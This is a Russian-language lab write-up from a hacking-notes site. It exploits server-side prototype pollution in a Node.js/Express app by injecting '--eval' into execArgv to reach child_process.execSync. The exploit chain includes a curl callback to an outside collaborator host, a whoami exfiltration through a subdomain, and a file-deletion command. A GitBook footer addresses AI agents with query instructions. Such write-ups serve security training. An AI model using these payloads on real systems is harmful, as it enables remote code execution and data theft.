> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/prototype-pollution/remote-code-execution-via-server-side-prototype-pollution.md).

# Удалённое выполнение кода через загрязнение прототипа на стороне сервера

### Удалённое выполнение кода через прототипное загрязнение на стороне сервера

#### Контекст лабораторной работы

* Приложение на основе **Node.js** и фреймворк **Express**.
* Уязвимость: **загрязнению прототипа на стороне сервера** поскольку приложение небезопасно объединяет пользовательский ввод в объект JavaScript на стороне сервера.
* Цель: загрязнить `Object.prototype` чтобы внедрить системные команды, которые затем будут выполнены сервером, затем **удалить** `/home/carlos/morale.txt`.
* Предоставленное подключение: `wiener:peter` (в этой лабораторной работе у нас уже есть высокие привилегии и доступ к административным функциям).

#### Уязвимая точка входа: обновление адреса

Функция обновления адреса принимает JSON. / В него можно внедрить загрязнение через `constructor.prototype` (доказательство того, что слияние опасно):

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
  "constructor": {
    "prototype": {
      "test": "false",
      "json spaces": 1
    }
  }
}
```

<figure><img src="/files/29f4e33d3d8d62cd4534355254df0a341bfb476f" alt="" width="506"><figcaption></figcaption></figure>

<figure><img src="/files/f8e952a21fc04834044c1544ca17fae1c2f3164e" alt=""><figcaption></figcaption></figure>

#### Функциональность

Как администратору, **Запускать задачи обслуживания** кнопка видна.

Когда вы нажимаете её, приложение выполняет задачи (например, очистку) и отображает:

* Очистка базы данных → успешно
* Очистка файловой системы → успешно

Клиент отправляет похожий JSON:

```json
{
  "csrf": "L7LME4ZyzauaCTOU9Nc4P0ZdaHHcCYYO",
  "sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
  "tasks": [
    "db-cleanup",
    "fs-cleanup"
  ]
}
```

А сервер отвечает:

```json
{
  "results": [
    {
      "name": "db-cleanup",
      "description": "Очистка базы данных",
      "success": true
    },
    {
      "name": "fs-cleanup",
      "description": "Очистка файловой системы",
      "success": true
    }
  ]
}
```

Ключевое наблюдение: в фоновом режиме, похоже, процесс Node.js запускает эти задачи через **дочернего процесса** механизм.

#### Эксплуатация: внедрение аргументов Node через `execArgv`

В Node.js некоторые выполнения могут передавать аргументы в среду выполнения через `execArgv`. / Идея: загрязнить `Object.prototype.execArgv` чтобы внедрить `--eval=...` который выполняет системную команду через `child_process.execSync`.

```javascript
--eval=require('child_process').execSync('id')
```

Используемый полезный груз (проверка обратного вызова на Burp Collaborator через `curl`):

```json
"__proto__": {
    "execArgv":[
        "--eval=require('child_process').execSync('curl https://m2pugey17it1s1cdpbfmc54tuk0co5cu.oastify.com')"
    ]
}
```

Затем мы запускаем **Запускать задачи обслуживания** чтобы заставить приложение запустить процесс, который повторно использует `execArgv`.

<figure><img src="/files/97ea625fa3353b854cc6e45410b879e9abd0b402" alt=""><figcaption></figcaption></figure>

Мы действительно получаем запрос на Collaborator → выполнение подтверждено.

<figure><img src="/files/9f8e1430dd0f652e7c9df7367ccc63617eda33eb" alt=""><figcaption></figcaption></figure>

#### Контекстная проверка: Exfilter `whoami`

Вы можете эксфильтровать пользователя через динамический поддомен:

{% code overflow="wrap" %}

```json
"--eval=require('child_process').execSync('curl https://$(whoami).m2pugey17it1s1cdpbfmc54tuk0co5cu.oastify.com')"
```

{% endcode %}

Получение: `carlos`

<figure><img src="/files/f2b2a31ec6ec775f8df05ea1eb1b6a2c6f95dec7" alt=""><figcaption></figcaption></figure>

#### Финальный шаг: удалить запрашиваемый файл

Чистое загрязнение отправляется с командой удаления:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "bgJz500ntJpShWGP0Lq8QWkZ3nvDb0BX",
  "__proto__": {
    "execArgv": [
      "--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
    ]
  }
}
```

Затем мы перезапускаем **Задачи обслуживания** чтобы запустить выполнение.

Ожидаемый результат: `/home/carlos/morale.txt` файл удалён и лабораторная работа пройдена.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/prototype-pollution/remote-code-execution-via-server-side-prototype-pollution.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
